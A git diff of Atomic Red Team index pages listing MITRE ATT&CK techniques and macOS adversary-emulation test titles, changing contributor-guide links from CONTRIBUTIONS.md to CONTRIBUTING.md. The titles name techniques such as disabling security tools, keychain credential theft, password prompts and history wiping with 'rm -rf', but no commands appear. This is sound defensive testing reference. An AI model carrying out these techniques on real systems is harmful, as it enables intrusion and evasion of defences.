Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Process Injection](./T1055/T1055.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Browser Extensions](./T1176/T1176.md) | [Setuid and Setgid](./T1166/T1166.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | [Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Space after Filename](./T1151/T1151.md) | [Local Job Scheduling](./T1168/T1168.md) | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote System Discovery](./T1018/T1018.md) | | [Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Trap](./T1154/T1154.md) | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Information Discovery](./T1082/T1082.md) | | [Input Capture](./T1056/T1056.md) | [Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Trap](./T1154/T1154.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | [Screen Capture](./T1113/T1113.md) | | [Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | [Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | | | [Process Injection](./T1055/T1055.md) | | | | | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Rootkit](./T1014/T1014.md) | | | | | | [Remote File Copy](./T1105/T1105.md) | -| | | | | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | [Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | | | [Space after Filename](./T1151/T1151.md) | | | | | | [Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | | | [Timestomp](./T1099/T1099.md) | | | | | | [Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | [Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | +| | | | | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | | | [Space after Filename](./T1151/T1151.md) | | | | | | [Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | | | [Timestomp](./T1099/T1099.md) | | | | | | [Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | diff --git a/atomics/macos-index.md b/atomics/macos-index.md index 226b96b4..51fce69d 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -8,7 +8,7 @@ - Atomic Test #3: Firefox [linux, windows, macos] - [T1136 Create Account](./T1136/T1136.md) - Atomic Test #2: Create a user account on a MacOS system [macos] -- [T1157 Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1157 Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1158 Hidden Files and Directories](./T1158/T1158.md) - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] - Atomic Test #2: Mac Hidden file [macos] @@ -18,8 +18,8 @@ - Atomic Test #6: Show all hidden files [macos] - Atomic Test #7: Create visible Directories [macos, linux] - Atomic Test #8: Create hidden directories and files [macos, linux] -- [T1215 Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1161 LC_LOAD_DYLIB Addition](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1215 Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1161 LC_LOAD_DYLIB Addition](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1159 Launch Agent](./T1159/T1159.md) - Atomic Test #1: Launch Agent [macos] - [T1160 Launch Daemon](./T1160/T1160.md) @@ -29,24 +29,24 @@ - [T1168 Local Job Scheduling](./T1168/T1168.md) - Atomic Test #1: Cron Job [macos, centos, ubuntu, linux] - Atomic Test #2: Cron Job [macos, centos, ubuntu, linux] -- [T1162 Login Item](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1162 Login Item](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #2: Logon Scripts - Mac [macos] - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1163 Rc.common](./T1163/T1163.md) - Atomic Test #1: rc.common [macos] - [T1164 Re-opened Applications](./T1164/T1164.md) - Atomic Test #1: Re-Opened Applications [macos] - Atomic Test #2: Re-Opened Applications [macos] -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1165 Startup Items](./T1165/T1165.md) - Atomic Test #1: Startup Items [macos] - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # discovery - [T1087 Account Discovery](./T1087/T1087.md) @@ -56,8 +56,8 @@ - Atomic Test #4: List opened files by user [linux, macos] - Atomic Test #5: Show if a user account has ever logger in remotely [linux, macos] - Atomic Test #6: Enumerate Groups and users [linux, macos] -- [T1010 Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1010 Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1083 File and Directory Discovery](./T1083/T1083.md) - Atomic Test #2: nix file and diectory discovery [macos, linux] - Atomic Test #3: nix file and diectory discovery [macos, linux] @@ -65,7 +65,7 @@ - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] - [T1135 Network Share Discovery](./T1135/T1135.md) - Atomic Test #1: Network Share Discovery [macos, linux] -- [T1201 Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1201 Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - Atomic Test #1: Permission Groups Discovery [macos, linux] - [T1057 Process Discovery](./T1057/T1057.md) @@ -80,7 +80,7 @@ - Atomic Test #3: List OS Information [linux, macos] - [T1016 System Network Configuration Discovery](./T1016/T1016.md) - Atomic Test #2: System Network Configuration Discovery [macos, linux] -- [T1049 System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1049 System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #2: System Owner/User Discovery [linux, macos] @@ -89,52 +89,52 @@ - Atomic Test #1: AppleScript [macos] - [T1059 Command-Line Interface](./T1059/T1059.md) - Atomic Test #1: Command-Line Interface [macos, centos, ubuntu, linux] -- [T1203 Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1061 Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1203 Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1061 Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1152 Launchctl](./T1152/T1152.md) - Atomic Test #1: Launchctl [macos] - [T1168 Local Job Scheduling](./T1168/T1168.md) - Atomic Test #1: Cron Job [macos, centos, ubuntu, linux] - Atomic Test #2: Cron Job [macos, centos, ubuntu, linux] -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1153 Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1153 Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1151 Space after Filename](./T1151/T1151.md) - Atomic Test #1: Space After Filename [macos] -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] -- [T1204 User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1204 User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # lateral-movement - [T1155 AppleScript](./T1155/T1155.md) - Atomic Test #1: AppleScript [macos] -- [T1017 Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1210 Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1017 Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1210 Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #2: Logon Scripts - Mac [macos] - [T1105 Remote File Copy](./T1105/T1105.md) - Atomic Test #1: xxxx [linux, macos] -- [T1021 Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1184 SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1021 Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1184 SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # collection - [T1123 Audio Capture](./T1123/T1123.md) - [T1119 Automated Collection](./T1119/T1119.md) - [T1115 Clipboard Data](./T1115/T1115.md) - [T1074 Data Staged](./T1074/T1074.md) -- [T1213 Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1005 Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1039 Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1025 Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1213 Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1005 Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1039 Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1025 Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1056 Input Capture](./T1056/T1056.md) - [T1113 Screen Capture](./T1113/T1113.md) - Atomic Test #1: Screencapture [macos] - Atomic Test #2: Screencapture (silent) [macos] -- [T1125 Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1125 Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # exfiltration -- [T1020 Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1020 Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1002 Data Compressed](./T1002/T1002.md) - Atomic Test #3: Data Compressed - nix [linux, macos] - [T1022 Data Encrypted](./T1022/T1022.md) @@ -145,10 +145,10 @@ - Atomic Test #1: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - Atomic Test #2: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - Atomic Test #3: Exfiltration Over Alternative Protocol - HTTP [macos, centos, ubuntu, linux] -- [T1041 Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1011 Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1052 Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1029 Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1041 Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1011 Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1052 Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1029 Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # credential-access - [T1139 Bash History](./T1139/T1139.md) @@ -156,31 +156,31 @@ - [T1110 Brute Force](./T1110/T1110.md) - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #1: Browser and System credentials [macos] -- [T1212 Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1212 Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1056 Input Capture](./T1056/T1056.md) - [T1141 Input Prompt](./T1141/T1141.md) - Atomic Test #1: Prompt User for Password [macos] - [T1142 Keychain](./T1142/T1142.md) - Atomic Test #1: Keychain [macos] -- [T1040 Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1040 Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1145 Private Keys](./T1145/T1145.md) -- [T1167 Securityd Memory](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1111 Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1167 Securityd Memory](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1111 Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # defense-evasion -- [T1009 Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1009 Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1146 Clear Command History](./T1146/T1146.md) - Atomic Test #1: Clear Bash history (rm) [linux, macos] - Atomic Test #2: Clear Bash history (echo) [linux, macos] - Atomic Test #3: Clear Bash history (cat dev/null) [linux, macos] - Atomic Test #4: Clear Bash history (ln dev/null) [linux, macos] - Atomic Test #6: Clear history of a bunch of shells [linux, macos] -- [T1116 Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1116 Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1089 Disabling Security Tools](./T1089/T1089.md) - Atomic Test #5: Disable Carbon Black Response [macos] - Atomic Test #6: Disable LittleSnitch [macos] - Atomic Test #7: Disable OpenDNS Umbrella [macos] -- [T1211 Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1211 Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1107 File Deletion](./T1107/T1107.md) - [T1144 Gatekeeper Bypass](./T1144/T1144.md) - Atomic Test #1: Gatekeeper Bypass [macos] @@ -196,66 +196,66 @@ - Atomic Test #8: Create hidden directories and files [macos, linux] - [T1147 Hidden Users](./T1147/T1147.md) - Atomic Test #1: Hidden Users [macos] -- [T1143 Hidden Window](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1143 Hidden Window](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1070 Indicator Removal on Host](./T1070/T1070.md) - Atomic Test #3: rm -rf [macos, linux] - [T1130 Install Root Certificate](./T1130/T1130.md) -- [T1149 LC_MAIN Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1149 LC_MAIN Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1152 Launchctl](./T1152/T1152.md) - Atomic Test #1: Launchctl [macos] -- [T1036 Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1027 Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1036 Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1027 Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1055 Process Injection](./T1055/T1055.md) -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1014 Rootkit](./T1014/T1014.md) -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1151 Space after Filename](./T1151/T1151.md) - Atomic Test #1: Space After Filename [macos] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1102 Web 